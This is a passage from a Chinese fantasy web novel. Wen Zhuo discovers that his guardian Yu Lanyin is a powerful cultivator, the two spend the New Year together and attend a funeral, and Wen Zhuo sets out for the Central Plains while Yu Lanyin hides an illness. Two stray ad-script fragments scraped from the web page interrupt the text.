正当温卓打算使几种他掌握地还不算熟练的大法术殊死一搏时,忽然他听到了有什么很细的东西以极快的速度破空而出的声音。 那是一束极细的光纤,约莫十来根,闪着银色的光泽,擦着结界的边缘朝他身后的怪物刺来。 几乎在一瞬间这个怪物就被这些光纤穿透,随后这锋利的银色光束尖端一扭,打结似的把整个怪物拧到了一起,更加丑陋可怖,面目全非。 这怪物还没来得及嚎叫多久,那光束更加用力一拧,这怪物黑色的黑雾的身体“砰”的一声炸裂开来。 和它乌漆嘛黑的长相不同,他爆体碎裂之时喷射出的是和人一般的红色的类似血液的东西,随后他的残体化作了和那银色光纤一般的银色的光点飘到了空气中不见。 温卓的结界上尽是那怪物的血液,一片红。 身后由远及近传来了十分好整以暇的脚步。 温卓的注意力立刻牢牢地被这阵脚步声吸引。 其实来人的脚步声并不重,但是温卓不知道为什么自己的心脏像过年的鼓一样咚咚跳起来。 他不受控地想朝那声音看去,但结界上大片的血液遮挡住了他的视线。他焦躁地直接撤掉了结界,结界一消失,那怪物的血淋了他满头满身。 他顾不上那些,擦了把脸,只朝着来人望去。 天上还是在飘着毛毛细雨,远处整片森林,甚至是整个天地间都是一片暗红色。在这一片红色的最边缘有一修长消瘦的身影,来人穿着中原样式的绛红色广袖长衫,打着一把同样绛红色的、文人雅士才喜欢的颇为华而不实的油纸伞。 在这血红色的天幕中,红衣人宛如山中鬼魅。 他身形有些消瘦,走在被雨打湿了的草地上,“啪嗒啪嗒”的脚步声缓慢却从容,正好随着温卓的心跳,一下,两下,三下。 这是他再熟悉不过的脚步。 他直愣愣地看着,直到这人走进,绛红色的伞略微一抬,伞下露出一张温卓再熟悉不过的脸。 但是看起来比他认识的那人健康得多,面色红润,唇色是他从未见过的浅红。 玉阑音看着一身血污落汤鸡样的温卓,把自己的伞往温卓头上倾了倾,脸上露出一种像是看不听话孩子似的笑,“怎么到这来了?不是让你去买菌子吗。” 温卓这才发现自己居然在发抖。 他不发一言,紧紧抿着嘴盯着面前这个与玉阑音长着同样的脸的陌生人。 这人身上没有中药香,只有铺天倒海的血腥气。 或者说,整个天地间都是一股血污的腥臭。 玉阑音摸了摸温卓脏了的脸,“还弄得这么脏。” 说完后他想到了什么低头看了看自己,笑道:“好吧,我也是。” 他甚至没有掐诀,抬手一挥——不止他们两个身上,包括他们身后的整片森林和草地,整个天幕的血污一瞬间就消失得干干净净了。 洗涤术。 而且是大洗涤术。 温卓抿着的嘴动了一下。 玉阑音褪去一身红色,依旧是穿着他玉色的祥云纹长袍,他手里的那纸伞是家里的白底黛青印花油纸伞。 玉阑音仔细看了看温卓的脸上,“哦,原来是受伤了。” 随后他伸手一抹,温卓脸上细密的疼痛便荡然无存。 玉阑音弯腰,一只手撑着伞。 “走吧,回家了。” 温卓默然。 玉阑音温温和和笑起来,“怎么,是要我抱吗?” 温卓冷着脸沉默地站起身。 他转身去看火烧云,发现火烧云早就不在了。 玉阑音注意到他的动作,笑了下,“不用担心,已经把它送回去了。” 移形换影。 温卓低着头,觉得他这十几年,从来没有一刻比现在更无助。 他其实原本想要照例问一句“你还在发烧吗”,但他堪堪住了口。他觉得自己大概是闹了个天大的笑话。 他好像从来没有认识过眼前这个人。 他熟识的那位弱柳扶风的药郎似乎从来没存在过。 温卓无意识地伸手摸了摸怀里的白伞菌和那包得板正的炸瓜花。 这时一阵划破天际的鹰啸自森林中传来。 白祺张着双翼穿过松林,正过山岭。 虽然说一切都表现得像是要步行回家的架势,其实玉阑音使个缩地术,几分钟两人已经站到药居的正厅里了。 温卓沉默地冷着一张脸站到了一边。 玉阑音放下油纸伞,把一切收拾妥当,这才看着自打见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面一言不发的温卓温温和和道:“抱歉。” 温卓终于开了口。 “你说的话,哪些是实话,哪些是假话。” 这话作为见了面的头一句话可算不上友善,而且是颇为尖锐和夹枪弄棒。 不知是不好回答还是压根不愿,玉阑音对此只是带着歉意笑笑,“抱歉。” 其实温卓也不求他能说出什么。 比起刨根问底,他这话其实更多的像是在埋怨。他清楚,玉阑音自然也清楚。 两人安静地瞪着眼。 温卓在这略显尴尬的沉默中忽然意识到,其实玉阑音从来没提过他的修为,更不用说故意隐瞒,他甚至几乎很少提到关于他自己的事情。 所以其实说到底,他认识的玉阑音只是他的一厢情愿的误会。 温卓的手又开始发起抖来。 玉阑音忽然开口:“我从来没想过要骗你,一一。” 温卓不说话。 “你应该知道厌族,也知道云州结界。这几年大陆结界不稳,而札布萨正处极北边境结界脚底。” 温卓一愣。 玉阑音平时不常费口舌解释任何事情。 玉阑音瞧着温卓的脸,忽然觉得他可能还是看浅了这个孩子的心事。 温卓心思又厚又重,这般定是要想多了去了。 “结界不稳?”温卓道。 语气依旧算不上好。 不过玉阑音是松了口气,毕竟他愿意回话已经是好征兆,“嗯,这些年厌族试图进入大陆内部,反扑得厉害。我便是为此而来。” 温卓蹙眉,“危险么?” 玉阑音闻言眉眼稍垂,轻笑一声,声音依旧如终年无波的清风,“小打小闹,不足为惧。” 过去的玉阑音总是一副风来便倒的孱弱相,何时如此刻这般。温卓看着他扬起的眉眼一时怔忪。 “有多久了?” 玉阑音次眯了眯眼似乎是想了会儿,“太久了,记不清了。” 神仙下凡不老不死不生不灭。这是札布萨人背地里对药郎无伤大雅的小编排。 过去以为半是恭维,如今看来只是一语成谶。 温卓沉默了下来,许久方轻声自语:“云州结界松动多年我居然从没听说过。” 玉阑音摸了摸下巴。 他不常做这个动作,但是温卓知道这是他在想事情的时候的小习惯。 玉阑音其实原本是打算撒个无可厚非的小谎糊弄过去的,不过看了会儿这孩子黑沉沉的眼睛还是决定作罢。 “其实前些日子给你的一些新卷里倒是有写过只言片语,不过那些章节被我撕去了。” 温卓皱了皱眉头。 “别这么严肃,其实上面写得也不详细,毕竟在人族厌族的千年之战双方——甚至连这结界的诞生都算不上体面。”玉阑音笑着伸手按了按温卓皱着的眉心,“别总是皱眉,老成得很。” “过去我也想,居安思危,多简单的道理,大厦将倾哪能自欺欺人捂住人们的耳朵。不过当我来到札布萨我就不再这么想了,和平年代人们拥有无知的权利,这可是好事。” 忽然他笑了下,“而且,你。” “把你的书卷拿掉的原因倒不完全是这样,这些文绉绉的大道理犯不着使到你身上。”玉阑音笑道,“我只是单纯的私心。” 他一顿,随后轻笑一声,“要你知道这些干嘛呢?这不有我吗。你只需要在我袖子底下好好长大就好了。” 5. 新年 直到很多年后温卓都能清晰地记起这一刻。 其实见到这个玉阑音的时候,比起惊诧或者是其他的情绪,可能悲伤的埋怨是绝大多数。 可这人轻描淡写的一句话就让他无端升起的所有负面情绪散得干干净净。 难不成是这人对他用了什么诡异的洗涤术么? 温卓狐疑地看了他一眼。 玉阑音不明所以地看着他。 随后温卓听见他继续道:“你呢天生心细,什么也饶不过去,想要瞒住你比登天还难。我倒是巴不得你目瞎耳聋少听少看,只可惜你天生耳聪目明。” 可能是因为气氛不错,温卓先前刚生出了些自己或许可以刨根问底的念头,紧接着就被这一番话搅得没了兴致。 玉阑音平日身体差,又喜静,其实鲜少拿他打趣,如今玩笑话一出倒是整个人都鲜活了起来。 温卓看到他这般健康,虽说看来看去还是颇为不习惯,但再不济也是一副好身体,比之前弱柳扶风的模样顺眼得多。 他看了许久,甩了袖子留下一个“哼”大步流星离去。 留下了桌上一包白伞菌和炸瓜花。 玉阑音在身后轻笑一声,随后他拿起这包白伞菌看了看。 好一会儿,他放下白伞菌,迟疑又为难地往嘴里送了一只不再焦脆的炸瓜花。 不算好吃。下回要尝尝新鲜的。 之后几日玉阑音的状态也印证了温卓的猜想。 他的面色是从未有过的健康相,虽然仍旧是一身懒骨头终日窝在摇椅里,但确是精神,煮茶写字都俨然是一副身体甚佳的读书人模样。 也是,他这副修为,怎么也不可能是那真的行将就木的病痨鬼。 倒是温卓莫名其妙地更加勤勉起来,虽说平日修行也不倦怠,但最近大有一副不舍昼夜的刻苦劲儿。今天法术明日体术,用功得很。 过去玉阑音是从不管这些,这几日不知怎么地天天来院子里盯着瞧。 直到温卓法术将院子里的几棵松树拔地而起扬起的风沙呛得玉阑音眯了眯眼。 不过玉阑音对此也不恼,他掸了掸身上的灰,颇为满意道:“还不错。” 随后他笑着扬扬下巴,“现在试试将他们复原呢?” 温卓愣了下。 云州大陆的修行大致分为剑修与术修两类,而剑修的出现要比术修早了数千年之久。 法术诞生后,由于法术的本质是气,其伤口特殊,不可自愈,而普通的草药对气伤也没有治疗效果,所以在疗愈法术出现之前,法术一直为整个云州大陆所忌惮,甚至一度成为人人喊打的禁术。 直到疗愈发法术出现,术修才终于得以翻身农奴把歌唱,终于得以成了名正言顺的名门正派。 术修也从此分为了战术师和药术师两门类,短短千年,各法术门派势头锐不可当。 传言发明疗愈法术的是一位能力十分出众的战术师。所以一脉相承的,药术师大多也是战术、药术兼修。这既考验天赋,也考验心性,因此大成之人极少,十分珍贵难得。 可随着术修越来越多,寥寥无几的药术师颇有些供不应求的架势,于是近些年很多门派已经不再要求药术师修习战斗法术了。 而很显然温卓对各种愈疗术都不算擅长。 他也不是没试图学过,毕竟当时也总想着学点这种法术替这病秧子玉阑音治病不是。 哪可知上手才知,这愈疗之术和战斗之术完全不是一回事,同源不同门,运用之法大相径庭。 温卓在此方向的悟性之低可谓是天赋异禀。 玉阑音看着温卓抿着嘴吭哧吭哧绞尽脑汁的模样笑出了声。 他手轻轻一抬,整个院子的花草树木和一片狼藉恢复如初。 “花草树木这类静物若是损伤不大,便不必用愈疗术,普通的复原法术便可恢复,‘崭新’‘静洁’这类小术都能起效,虫鱼鸟兽就要复杂些,要使些愈合术。”玉阑音笑道,“别总顾着打打杀杀,在我身边这种小疗愈法术总还是要耳濡目染一下才是。” “那人呢,怎么治?”温卓忽然插口问道。 玉阑音像是听到了什么有趣的事,“我的好一一,你如此刨根问底,不会是想要当药术师吧?” 温卓似乎是想到了自己现在都没背明白的药材名儿,闭嘴了。 “法术之基在于气,丹田灵基为万气之源,回去切记坐定运气,莫要忽视内功的精进才是,”玉阑音轻声一笑,“不过今天除夕,少用点功倒也无妨。” 温卓听到他愣了下。 哦,要过年了。 这段时间各种大事小事脚尖接脚跟,药居又偏远,左右也没什么邻居出新年的声响,温卓压根忘记了这春节。 好在现在天色还早,补救也来得及。 温卓二话不说骑着小马出了药居,一路飞驰。 札布萨部落里是完全不同的景色,张灯结彩,人声鼎沸,孩子们带着红围巾红帽子在院子里玩摔跤,不少大孩子手里抓一把糖就能像司令员似的尽情发号施令,身后必然跟着一群愿为马前鞍的小将士。 温卓骑着火红的马“嗒嗒嗒”地路过。 他到集市上买了红灯笼红贴子,买了些印着喜气洋洋字画的汽灯,思来想去又带了两捆响鞭,这才往家里走去。 回到家时,玉阑音正挽着袖子在书房里写对联,露出右手手腕上缠了三四圈的一串深色佛珠。 他模样生得好,若是专注地做些什么时更是吸引人,垂着的眸子在灯光下映得流璨生金。 温卓进屋后安静地看了好一会儿。 “回来了?过来瞧瞧我写的怎么样。” 玉阑音收了笔,笑起来,朝温卓招招手。 其实都不用看,玉阑音写的字他比任何人都熟悉,闭着眼都能记起来。 但他还是走上前去。 正红色软纸对联,上面按着金边,上联“身比闲云,月影溪光堪证性”,下联“心同流水,松声竹色共忘机”。 温卓在心里把这对联来来回回念了好几遍。 玉阑音的字和他人一样暗藏春秋,笔尖字尾皆是大家风范,舒展却不失力度,凌厉也不失温和,和这题词倒是相称。 “不过……这是春联么?” 玉阑音一哂,“算不上,不过就当我给我自己的药居提个联,谁能管得了。” 温卓不再看对联,转眼看了看他,“嗯。” 当温卓里里外外忙完了,端着年夜饭走出厨房的时候天色已经暗下来了,玉阑音正在给白祺扔兔肉块逗着玩儿。 “吃饭了。”温卓温声道。 玉阑音把最后的兔肉扔给了白祺,拿帕子擦了擦手,颇为欣慰地看了看这一大桌子极为奢侈的年夜饭忽然道,“怎么没有酒?” 温卓一愣,之前玉阑音身体差,饮酒是万万不行的,他对此十分注意,家中自是一滴存酒都没有。 不过如今大概便没了这些顾虑。 “家里没有,你若是要喝我现在出去给你寻去。” “大过年的,哪还有处买,”玉阑音笑着摆摆手,“门口松树底下埋着一坛子槐花酒,我可存了有些年头,你去取出来吧。” 温卓蹙眉,“你藏酒?” 玉阑音愣了下,忽然毕恭毕敬得拱了拱手,说话都带上了笑音,“忘记上报,温大人有大量便饶了小的这回吧。” 温卓睨他一眼。 树底下搬出来的酒坛里还有大半坛,还没开盖便能闻到酒香扑鼻,呛得温卓鼻子一酸。 也是,这人的说的“有年头”大概是真的大有年头,可不是寻常一二十年的小打小闹。 酒香且烈,盛着旧年最后的月光涟漪。 拿酒之时玉阑音似乎是想到了什么,忽然停下,“方才见到你买了响鞭,怎么不放上一支除除旧岁?” 温卓眨眨眼,把鞭炮取了出来,“那就现在放。” 玉阑音好整以暇等着温卓把鞭炮挂好,又回屋点上一只香。 温卓拿着香,想到过去这些年玉阑音从来不着手放鞭,有些好奇,“阑音,你为何从不点鞭炮?” 玉阑音痛痛快快一笑,倒是也不瞒着掖着,“怕。小时候点炮烫着手了,以后就不点了。” 温卓了看他的手,遂抬头,“那从前你一个人的时候呢?” 玉阑音觉着好笑,“我过去一人吃饱全家不饿,从不过年,点什么鞭?” 温卓看了他好一会儿才说:“那以后我们每年都过年,所有的鞭炮也都让我点,你就看着,好不好?” 玉阑音一愣,捉摸了好一会儿,只觉着这话听着又像求人又像哄人的,还怪别扭。 他不由得一笑,“那感情好。不过过去哪年不是这样了?” “那就以后都这样。”温卓道。 香燃过半柱,香灰随着一阵风吹散落到了温卓衣襟处。 玉阑音垂着眸子替他拂开,轻笑,“好。” 温卓瞧着那双手从他胸前过去,他一会儿想他的点鞭炮的旧伤,一会儿又僵硬着只能瞧着他动作,脑子乱得像团浆糊。他一时间有些慌乱,像个木头人似的站在那。 温卓只觉着他手过之处都在发着烫,他思来想去,只觉得大概是香灰的余温。 “去点鞭炮吧。” 得了令,温卓才终于如梦初醒般,不抬头看玉阑音,忙送不跌地点炮仗去了。 温卓伸着手,点燃了鞭炮引子,三步并两步地跑回玉阑音身边的时候,噼里啪啦地鞭炮正好响起。 温卓耳朵捂得不及时,一时响了个满的,连带着胸膛都在震。 忽然一双手先他捂住了他的耳朵。 他愣愣地抬头,这双手的主人正笑吟吟地看着他,垂着眼睛说了句什么。 鞭炮震天响,温卓听不到玉阑音的声音,可他想,他应该绝不会认错。 那人说的是,“新年快乐,一一。” 鞭炮声还在响着,可温卓却觉着世间再无一时刻能如此般万籁俱寂,能一清二楚听到自己心跳如雷。 他听到自己说——在这个瞬间——大概也只有他能听到自己轻声说了一句,“新年快乐。” 响过鞭,两人抱着酒坛进了里屋,幸好饭菜也没凉。 玉阑音好酒但不贪杯,饮了两杯就停下了。 倒是对面的温卓只喝了小半杯眼前就开始人影晃荡。 玉阑音看着觉得好笑,一只手伸手按下了他的酒盏,笑意爬上眼底,“不要再喝了。” 或许是因为晕头转向,温卓直勾勾盯着玉阑音不转睛。 玉阑音笑起来,“是我脸上有什么脏东西么?” 温卓摇摇头,但还是盯着看个不停,好久才道:“阑音,你从前在中原过得怎么样?” 或许是惊诧于他这么问,玉阑音难得笑出了声,好半晌才道,“自然是锦衣玉食吃喝无忧。” 温卓这回没点头也没摇头,只愣愣地看了会儿玉阑音带着笑意的眼尾,“你是不是在撒谎。” “我从不说假话,”玉阑音好生看了他一会儿,笑道,“你是不是醉了?” “我没有。那你为什么总是不开心?” 玉阑音无奈,“你醉了,一一。” 就在这时,药居大门的铺首响了三声。 温卓应声去开门,来的人是山桂。 山桂穿着一身白衣,在深夜里显得有些突兀。他眼睛哭得红红的。他没进屋,就站在大门口的雪里。 其实不需要他开口,玉阑音和温卓都已经能猜个大概。 或许是寒冬里的冷风一吹,温卓打了个寒颤,酒醒了一大半。 玉阑音垂眸看了会儿,摸了摸山桂的头。 山桂像是被点燃了般眼泪决堤,哭出了声。 “药郎先生,温卓,我,我爹……” 今天是大年三十,说不出悲说不出喜。 玉阑音又摸了摸山桂的脑袋顶,出声打断了他:“嗯,我知道了。” 温卓想着到这几日的一切,忽然有种难以说清的“多事春秋”的预感。 他向来不善言辞,再加上酒精作用下头脑有点发胀,沉默了良久才道:“节哀。” 第二日,大年初一,山桂的爹在今天风风光光大葬,金丝楠木镶着金边的棺材,这种讲究又真金白银的金贵物件,不用想也知道是谁的手笔。 原本是个过年的日子,但整个札布萨没人锣鼓喧天鞭炮齐鸣,整个部落的人列着长队为死去的人送行,完全没有人在意流年不吉的迷信说法。 玉阑音和温卓跟在队伍的最后。 玉阑音穿着他的霜色广袖单衣,套着白色兔毛大氅,温卓也罕见地穿上了白色外衣,两人身边旁边跟着个克古鲁。 克古鲁没爹没娘,听见吹号角和哭声跑出家门看才知道是有白喜事,见到了玉阑音和温卓便顺势跟在了他俩身边。 温卓和玉阑音今日格外沉默,纵然是克古鲁也欢愉闹腾不起来,眼观鼻鼻观心地踢着地上的小石头跟着一路走。 札布萨的葬礼和中原不同。札布萨立的是衣冠冢,肉身不入土,讲究的是火葬,把收起来的骨灰撒在森林里才能往生。 那昂贵的金丝楠木棺材入土后,便是火葬了。 山桂的父亲面色苍白的前方躺在火堆上,部落长老萨尔山正用一种古怪的语言念诵着经文。 火烧起来的时候温卓忽然想到了那天的庙会篝火。 温卓看了一眼身旁的玉阑音。 “……你在难过吗,阑音。” 噼里啪啦的火声里温卓模糊道。 “嗯?” 温卓没再说一遍,因为他觉得玉阑音其实听见了。 玉阑音过了很久才开口道,“当年第一次见到他的时候他还没有你高,还是个小孩,饿得皮包骨头,我给了他一只被我烤焦了的兔腿。” 温卓意识到他在说的是山桂的父亲。 “那兔腿是我不要的,可他却记住了,后来就总想着报答我。我什么也不缺,更何况他也只是个半大孩子,从一个孩子这里拿东拿西像什么话,就都找理由推脱了,直到他前些年生了病,连起床说话都是个麻烦,便不再追着我念叨了。” 说到这里玉阑音顿了下,“他生了病之后——包括昨晚,我总在想,哪怕之前我说个希望他替我煮个茶送个药,随便哄着他帮我跑跑腿呢。” 玉阑音没再继续说下去。 其实这是温卓第一次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从玉阑音的话里听他说起以前。 他无端想起前几日山桂给他送的果派。 玉阑音不是个好收人物件的性格,但那时他却叫他把这果派收下了。 庙会上札布萨大家的礼物他一一双手接过,一一道谢。 温卓本身就不善言辞,一到这种时候舌头更是打结,他想说些什么但是又觉着说什么都差点意思。 一时无言。 玉阑音正静静看向前方,正送别自己熟识的旧人在烈火中魂归故里,刹那间烟火爆裂,火光接天。 温卓这时才开口了:“阑音,云州结界你要守一辈子吗?” 听到这话的玉阑音顿了下,好久才低头温和道:“或许吧。” 温卓明白他口中的“或许”,其实已经是十之八九。 “那你的一辈子,有多长?” 温卓其实从不会问这种接近于窥探的问题,或许是因为正身处盛大葬礼通天的红花中,他问了居然也没显得冒失。 尽管玉阑音总是温温和和说着“从不说谎”一副知无不言的兄长相貌,但事实这人皮里阳秋,和坦率是万万八杆子打不着。 但他今日确是罕见的露出一些疲惫而不设防的坦诚。 “哪日得了机缘便能死去了。” 玉阑音的声音依旧如常,眼底映着光,像是淬了火。 温卓皱起眉。 他这话答得驴头不对马嘴,莫名让温卓感到惶恐。 直到过了很久,温卓忽然开口:“阑音,我想去中原。” 昨夜大概是因为酒醉,温卓睡得并不安稳,做了很多时断时续的梦,梦里有阿纳,有山桂,有生病走了的他的父亲,有往他手里塞炸瓜花的霞姑。 但最多的仍旧是他身边的这个光风霁月的药郎。 那时候他在一片黑暗中走了很久,忽然这人便像神仙一般穿着一袭白衣站在了远方,散着发朝他招手。 可不么,这人法力通天,不生不死,可不是那神仙么。 他就这么站在一片黑暗的尽头唯一的光里。 温卓跌跌撞撞地扑到他的怀里,想一股脑的把所有委屈都告诉他,告诉他他一个人走了好久,他怎么现在才来。 这人将他抱在怀里,身上是极为浓烈的药草香,听着温卓说话却始终一言不发。 直到温卓看向他的脸,发现他面色青白,眼睛里正在流着血泪,早已停了呼吸死去多时。 温卓被惊醒了,在这三九天一身冷汗。 他坐起身,翻来覆去心神不宁,没再睡,便到了正厅去喂鹰。 他从没有如现在这一刻般慌乱。 温卓是个不亲自动手就容易放不下心的人,这么多年在玉阑音身边忙里忙外,他哪回舍得玉阑音干一点重活。如今得知玉阑音一人在此处镇守着云州边界,危险与否时间长短温卓一概不知,叫他怎么能安心。 他的确因为这人的一句“在我袖子下好好长大吧”心软得要化成一湾湖水,但他哪舍得。 如今他确认了这人身体康健,便开始希望自己能一夜之间成长到能背负起这人的一切。 中原是仙术之都。 他一边喂鹰一边做着这离别的准备。 “去中原?”玉阑音一愣。 “嗯。” 玉阑音皱了皱眉,不过这情绪似乎转瞬即逝,随后他便点了点头,“也好,总归要去看看。” “什么?药郎先生?你说要去哪看看?” 听到了只言片语的克古鲁忽然兴奋打岔道。 玉阑音看着克古鲁笑了下,“中原。” “中原?我也想去!我好早之前就想去中原了!我想去学最厉害的仙术!”克古鲁高兴极了,“药郎先生你和温卓两人同去?” “就他一人,我身体不好,不去了。” “温卓!温卓我也想去!你捎上我吧!” …… 温卓是个典型的受不了磨的软性子,再说多一个克古鲁除了吵了点,倒也没什么别的毛病,耐不住他的死缠烂打便应下了。 温卓是想在正月十六早上天没亮的时候悄悄地走了的。 可是直到临走的那一刻他才发现自己居然还有那么多的挂念没说完。 他左看右看,把家里擦得干干净净,又把今早上的早饭做好,套上保温结界,喂了白祺,煮了一壶观音茶,依旧是觉得有点没头绪的焦躁。 直到玉阑音的房门从里向外打开。 这人散着发,穿着更为单薄的里衣站在门口,门内是昏暗的烛光。 温卓见他的脸色是这几日一如既往的健康的红润,便没有开口催促他进屋添衣。 这人倚在门口轻笑着,“不辞而别是和谁学的?” 温卓发现那缠绕在他心头一早上的焦躁就这么被顺下去了。 他喉头一动:“我没有。” 玉阑音轻笑一声。 “路上注意安全,”他上上下下看了温卓一圈,“带着金雕,他和你亲近,也不好总跟着我。” 温卓便取了金雕稳稳立在自己的肩头。 “这临走也不知道要送你些什么,你去书房左柜子的第二个抽屉把里边那只灵犀灯取来吧。” 温卓又温顺地照做。灵犀灯看着像是琉璃做的,浅金色的透明壳子,里边一小团暗淡的火光。半个巴掌大,看着十分易碎。 “这灯是……” “传声用的。有什么事心念‘波若无照,万法皆空’就能传话给我,我都听得到。” “这是你的传音符文么?” “嗯,你也设一个,我就能找到你了。” 温卓远行最怕的便是见不到眼前这人。如今虽然见不到面,能偶尔说说话便很好了。他把这灵犀灯在手心里翻过来覆过去看了好几遍,喜欢得紧。 “我一时想不出。” 玉阑音眯着眼笑,“那就想好了再告诉我。” “那我带走了这个,你还有么?” “这小玩意儿随手一变,要多少有多少。” 温卓放了心,小心翼翼把这宝贝揣进怀里。 玉阑音看了他一会儿,笑了:“快走吧,小大人。克古鲁在门外等你了。” 温卓又“嗯”了声,从枯枝上取了金雕,又在弓架上取了自己那几十斤重的弓,临走之时深深地看了玉阑音一眼,却最终是什么都没说。 门开了,闪过克古鲁的期待的笑脸和温卓年轻却意外沉稳的脊梁。 “温卓,你收拾好啦……” “……嗯。” …… 门合上了。 两人的对话隔着门发闷,不甚清晰。也有可能是玉阑音实在是难听清了。 就在门被掩上的这一瞬间,门内玉阑音的脸几乎是瞬间白了下来,比起先前发热之时有过之而无不及,他浑身发着抖,背后的冷汗已透湿背衣多时,直到难以为继地咳出了一口黑褐色的血,湿了胸口一片,险些顺着门框滑落在地。 玉阑音的耳朵里嗡嗡响着。 他强撑着听着温卓的脚步,确定他们走远了之后才顿时觉得安了心。 脱力之时,他只在心里念叨:这小孩,若不是我这几日多加注意,怕是要瞒不过去了。 6. 十方 南下的路途上人烟稀少,连客栈旅店都没见着几个。 温卓和克古鲁马不停蹄日夜赶路,吃睡都在马背上,终于在半个月后到了中原北部城关。 城门一天开早晚两次,两人到得早,便在城门外等着。 等着的间隙里温卓同声传话给玉阑音,他照例在传声阵里等了一会儿,依旧是没有接通。 这半个月他时常会传声去,不过玉阑音似乎总在忙,从来没有接通过。于是温卓只能在把想说的录进传声阵,玉阑音只要打开便能听到。 一般几个时辰玉阑音就会回话来,不过玉阑音不太回拨同声传话,一般都是单向的留言,提醒他注意安全、按时吃饭之类的。 温卓其实对此有点失落,不过好在还能听到玉阑音的声音,也能解些相思之苦。 尽管温卓舟车劳顿,但是依旧是锦袍玉衫气度不凡,肩上站一只合着眼睛皮毛水滑的金雕,俨然一副远道而来的贵家公子样。一旁的克古鲁倒是千里赶来只剩下了风尘仆仆,看着无比沧桑,头重脚轻只差说自己晕马了。 看城门的是个大眼睛塌鼻梁的中年人,经年风吹日晒皮肤黝黑。他穿着一身合金色甲胄,带着盔帽,帽顶上带着一束红缨。 这中年人说话瓮声瓮气的,嗓门很大,又自来熟,见到温卓和克古鲁两个年轻人便扯着破锣嗓子打招呼:“两位小兄弟是要进中原?打哪里来?” 克古鲁伏在马背上有气无力地摆摆手。 温卓也略显疲态,不过倒不是劳苦之累。自打前几日起,温卓就常在夜里觉着头痛,胸口也有些气闷,发作得不算烈,但是缠缠绵绵的日夜不停,实在是有些恼人。 许是南下水汽渐浓的缘故。 温卓简单应声:“北塞边境札布萨部落。” “札布萨?没听说过。”中年人道,“小兄弟是到中原找什么人?” “求学。” 对话不是很欢烈,但中年男人的注意力突然就被温卓背上背的弓吸引了去,他左边瞅了右边瞧,终于开口:“小兄弟,你这弓是哪里来的?” “弓?” “是呀!”这人眼睛突然发起光,“你这弓可是寒铁铸的!全云州都没几块寒铁矿,你这弓得有个大几十斤,价值连城啊!” 温卓一愣。 “诶,小兄弟你别不信!寒铁正看银光侧看黑光,作不了假!” 克古鲁听着好奇,但实在是累,蔫嗖嗖地抬了抬头,随后又有气无力地撤回一个抬头。 温卓背手拿下背上的长弓,“家里人给的,我不太清楚。” 这弓是玉阑音在他八岁那年送给他的,起因只是因为他的小木弓断了。或许是嫌弓身太过白净无趣,这人当天还亲自拿一柄淬火的小刀往弓上刻满了浮夸的雕花,这才满意地给了他。 虽然想过这把弓会贵重,但价值连城绝无仅有却还是出乎了他的意料。 “你家里人待你真是好,这出手真是好生阔绰!”中年男人眼睛粘在弓上挪都挪不开,“不过小兄弟你得小心,这中原可不比你们那,人心眼儿可坏得很啊,光偷贼就有好些!可要多注意咯!” 温卓把弓背回背上,像模像样拱了拱手,“多谢提醒。” 大约又过了一两个刻钟,城门开了。 城门内里果然是和北塞完全不同的风光。 中原层层叠叠山,峰峦障壁,高处山峦烟雾缭绕直通天际,遍地是郁郁葱葱的阔叶树,大概是如今正值深冬,树的叶子落得干干净净。 克古鲁脱力在马背上,随着马的脚步声音也断断续续:“原来中原的树,会,掉叶子,啊。” “嗯,”温卓应道,随后看了他一眼,“先不着急赶路,找家客栈吃饭吧。” “好,好好。”克古鲁耷拉着脑袋欢天喜地。 两人一鹰一拍马便朝里奔去,没过多久就到了个热闹的大街道。 这人一多起来,中原的味道就浓起来了。 果然是中原,街上的人们打眼一看便都是些会读书写字的文人。他们束着高发,尽管在冬日也都穿着曳地长袍,袍子上镶金戴玉,修行之人腰间还挂着佩剑。 温卓除了冬季打猎,其余时候一贯穿得是和玉阑音同样样式的合身玄色长袍,克古鲁半路嫌热,也借了件温卓的衣裳穿。如今看来两人倒是丝毫不突兀地融入进了这陌生的中原。 温卓和克古鲁都不是挑三拣四的人,看了家体体面面的小客栈就进去了。 客栈里边人居然不少,两人四下看看,这时一个戴着棕色瓜皮帽肩膀上搭着汗巾的店小二操着一口北方口音朗声问道:“两位客人打尖儿还是住店儿?” “随便吃点。” 随后温卓带着克古鲁找了个角落里不起眼的空位坐下,点了四五个羊眼包子,一份枣切凉糕,几块卤炸豆腐和两碗面茶。 克古鲁肚子叽里咕噜又没什么精力闹,哼哼唧唧得有点吵人。 温卓肩膀上的金雕刚吃过一条鹿腿,正合着眼睛老实得很。温卓把他拿下来放到了旁边座位上,他腿上拴着细细的铁环,链子的另一端扣在温卓的手腕上,一臂长,也不至于打扰到旁人。 温卓随意看了看店里。 店面看着不算金贵,但干干净净,中原装潢让他尽管他从未来过中原,却很难感到陌生。 温卓忽然就想到了药居和玉阑音。 也不知阑音在干什么。 他看了眼身边这正闭着眼打盹儿的金雕阑音,随后伸手摸了摸他的头。 这时门口进来个年轻人。 他穿着白底色长袍,金色领口衣襟,衣袍金线锁边,袖口和衣摆均绣着浅金色云纹,其外披着同样绣着金云纹的披风。他头发用一银镶金宽发扣起,束得一丝不苟,看起来便像是个有门有派有头有脸的小修士。 不过他手里提着个有点破旧的亚麻灰布包,显得和他整个人格格不入。 这中原修士常有,但这般端正有礼的修士倒是不常见。 温卓看到他,不知为何又想到了玉阑音,也因此多打量了这人一番。 “两位客官这最后的面茶来咯!”小二笑呵呵地上菜,随后伸着小短指头点了点桌上的菜样,“咱桌这菜都齐了,客官们慢用,吃好喝好。” 温卓他的口味和玉阑音似的清淡,喝不惯这面茶,尝了一口就放一边去了,只吃了一小块枣糕。 克古鲁倒是不挑食,呼噜呼噜吸溜得听着挺香。 店的另一端有些窸窸窣窣的吵架声。 刚开始其实并不清晰,温卓听得到但是并没有在意,直到后来的声音是越来越大。 “……你这小伙子白头净面,怎么这么不讲理?这布包本身就是我的,客人们都是看见了的呀!你倒好,在这儿信口雌黄,害不害臊!” 随着骂声越来越不堪入耳,温卓终于是往那方向看了眼。 克古鲁也端着面茶转身看去,“这是……闹小贼了?看来城门口那大哥还真没说错,这才刚来就碰上了!” 温卓摸了摸背上的弓,“嗯。” 札布萨可没有偷窃这回事,克古鲁这还是头一回见,有些亢奋,甚至因为看不太清还站起来向那走了几步凑热闹去了。 